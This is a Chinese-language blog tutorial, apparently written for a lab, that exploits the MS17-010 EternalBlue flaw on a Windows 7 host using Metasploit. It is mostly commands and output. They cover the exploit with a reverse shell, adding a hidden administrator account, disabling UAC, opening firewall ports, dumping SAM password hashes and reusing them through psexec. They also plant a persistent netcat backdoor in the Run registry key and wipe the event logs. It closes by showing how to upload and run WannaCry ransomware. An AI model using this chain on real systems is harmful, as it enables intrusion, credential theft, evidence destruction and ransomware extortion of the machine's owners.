Metasploit实例-永恒之蓝漏洞(六)

1.1.1 攻击Win7系统永恒之蓝漏洞(ms17-010)

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

永恒之蓝相关病毒,其实是利用了微软的MS17-010漏洞。MS17-010 是Windows系统一个底层服务的漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/201 7/ms17-010

1.1.1.1 扫描主机并导入metasploit

  • nmap扫描主机并导出结果
# nmap -A -T4 -v 192.168.10.156 -oX /tmp/192.168.10.156.xml
  • metasploit导入扫描结果
msf6 > db_import /tmp/192.168.10.156.xml
  • 查看主机信息
msf6 > hosts -R 192.168.10.156

图片[1]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

msf6 > services -R 192.168.10.156

图片[2]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

1.1.1.2 验证目标主机是否存在该漏洞

  • 查找该漏洞的辅助模块
msf6 > search ms17_010 type:auxiliary

图片[3]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

  • 使用辅助模块验证
msf6 > use auxiliary/scanner/smb/smb_ms17_010
  • 显示辅助模块选项,根据模块选项配置攻击目标
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

图片[4]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

  • 配置选项(Required为yes的show options时都要有值)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.10.156
RHOSTS => 192.168.10.156
msf6 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 4
THREADS => 4
  • 验证漏洞是否存在
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

图片[5]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

1.1.1.3 攻击目标主机

  • 查找该漏洞攻击模块
msf6 > search ms17_010 type:exploit

图片[6]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

  • 使用攻击模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
  • 显示和设置攻击模块选项,若使用默认值则不需要设置
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

图片[7]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.10.156
RHOSTS => 192.168.10.156
  • 显示和设置可攻击目标类型,若使用默认值则不需要设置
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets

图片[8]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 1
target => 1
  • 显示和设置攻击载荷(payload),若使用默认值则不需要设置
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload

图片[9]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 payload(windows/x64/shell/reverse_tcp) > set LHOST 192.168.10.180
LHOST => 192.168.10.180

注: payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

  • 执行攻击模块
# 前台执行攻击模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

图片[10]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

# 后台执行攻击模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j

图片[11]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

  • 获取shell后进行攻击
# 处理windows和Linux字符集不同导致的乱码问题
C:\Windows\system32>chcp 65001

# 查看系统ip
C:\Windows\system32>ipconfig
   Link-local IPv6 Address . . . . . : fe80::581b:129:2f0f:4bd7%11
   IPv4 Address. . . . . . . . . . . : 192.168.10.156
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.10.1

# 添加用户
C:\Windows\system32>net user admin 123456 /add

# 将添加的用户添加到系统管理员组
C:\Windows\system32>net localgroup administrators admin /add

# 开启远程桌面
C:\Windows\system32>wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
  • 会话放入后台
C:\Windows\system32>background
Background session 5? [y/N]  y
  • 查看后台活动会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

图片[12]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

  • 重新进入会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 5

图片[13]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

  • 关闭会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 5
[*] Killing the following session(s): 5
[*] Killing session 5
[*] 192.168.10.156 - Command shell session 5 closed.

1.1.1.4 进行后渗透并清理日志

  • shell提权到meterpreter
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -u 6
[*] Meterpreter session 7 opened (192.168.10.180:4433 -> 192.168.10.157:49499) at 2022-06-10 13:44:37 +0800
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 7
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# 开启远程主机RDP服务
meterpreter > run post/windows/manage/enable_rdp
# 开启远程主机RDP服务并创建登录用户及密码
meterpreter > run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=123456

[*] Enabling Remote Desktop
[*]     RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]     Terminal Services service is already set to auto
[*]     Opening port in local firewall if necessary
[*] Setting user account for logon
[*]     Adding User: admin with Password: 123456
[*]     Adding User: admin to local group 'Remote Desktop Users'
[*]     Hiding user from Windows Login screen
[*]     Adding User: admin to local group 'Administrators'
[*] You can now login with the created user
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20220610134755_default_192.168.10.157_host.windows.cle_889473.txt
  • 远程登录被攻击主机

图片[14]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

图片[15]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

  • 创建防火墙规则

创建一条防火墙规则允许4444端口访问网络,否则我们建立session时payload不能通过4444端口访问网络导致session建立失败。

meterpreter > shell
Process 3112 created.
Channel 4 created.
Microsoft Windows [°汾 6.1.7601]
°爨   (c) 2009 Microsoft Corporation £±£′   { £

C:\Windows\system32>chcp 65001
......

C:\Windows\system32>netsh firewall add portopening TCP 4444 "admin" ENABLE ALL
......
Ok.
  • 关闭UAC

UAC概述:用户帐户控制(User Account Control,简写作UAC)是微软公司在其WindowsVista及更高版本操作系统中采用的-种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.

参数说明:

  • ADD:添加一个注册表项
  • -V:创建键值
  • -t:键值类型,
  • -d:键值的值
  • -f:强制修改注册表项
  • 开启Win7默认共享

开启win7系统主机的默认共享,默认共享对Windows主机的文件共享非常方便,也方便黑客利用这个功能,远程执行命令。

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
The operation completed successfully.

C:\Windows\system32>exit
exit
  • 从SAM导出密码哈希值

psexec 实用程序在远程系统上需要做一些事情:服务器消息块(SMB) 服务必须可用并且可以访问(例如,未被防火墙阻止);必须启用文件和打印共享。Admin$ 共享必须可用并且可以访问。它是一个隐藏的SMB共享,它映射到Windows目录,用于软件部署。提供给psexec实用程序的凭据必须具有访问Admin$共享的权限。psexec 的可执行文件内有Windows服务映像。它接受此服务并将其部署到远程计算机.上的Admin$共享中。然后,它使用SMB.上的DCE/RPC (分布式计算环境远程过程调用)接口来访问Windows Service Control Manager API。它将打开远程计算机上的psexec服务。然后psexec服务创建-个可用于将命令发送到系统的命名管道。

PS.SAM概述: SAM文件即账号密码数据库文件, SAM文件的位置是:C:\Windows\System32\config\SAM

meterpreter > hashdump
admin:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pm:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
  • 使用hash值登录系统
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexec
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
emsf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOST 192.168.10.157
RHOST => 192.168.10.157
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.10.180
LHOST => 192.168.10.180
msf6 exploit(windows/smb/psexec) > set SMBUSER admin
SMBUSER => admin
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4msf6 exploit(windows/smb/psexec) > set SMBDomain WORKGROUP
SMBDomain => WORKGROUP
msf6 exploit(windows/smb/psexec) > exploit

图片[16]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM    # 虽然使用的是普通用户登录但是得到的是system的权限
  • 上传后门程序并清理日志
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
Successfully set lltest_nc of REG_SZ.

参数说明:

  • -L:表示用户退出连接后重新进行端口侦听
  • -d:后台运行
  • -p:指定端口
  • -e:prog程序重定向, 一旦连接就执行
meterpreter > shell
C:\Windows\system32>netsh firewall add portopening TCP 443 "443" ENABLE ALL
C:\Windows\system32>shutdown -r -f -t 0
C:\Windows\system32>del %WINDIR%\*.log /a /s /q /f  # 删除系统日志目录下的- -些日志文件
C:\Windows\system32>exit
meterpreter > clearev
[*] Wiping 463 records from Application...
[*] Wiping 890 records from System...
[*] Wiping 367 records from Security...
  • 系统重启用户登录后查看后门运行状态并进行连接

图片[17]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

msf6 > connect 192.168.10.157 443

图片[18]|Metasploit实例-永恒之蓝漏洞(六)|leon的博客

扩展:我前面可以上传nc程序,也可以上传勒索病毒。大体过程如下:

1、上传勒索文件至C盘根目录下,为了隐蔽可以传至更隐蔽目录

upload wannacry.exe c:\

2、执行勒索可执行文件即可

execute -f c:\wannacry.exe

至此,勒索成功

温馨提示:本文最后更新于2022-12-20 20:57:32,已超过455天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2987.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享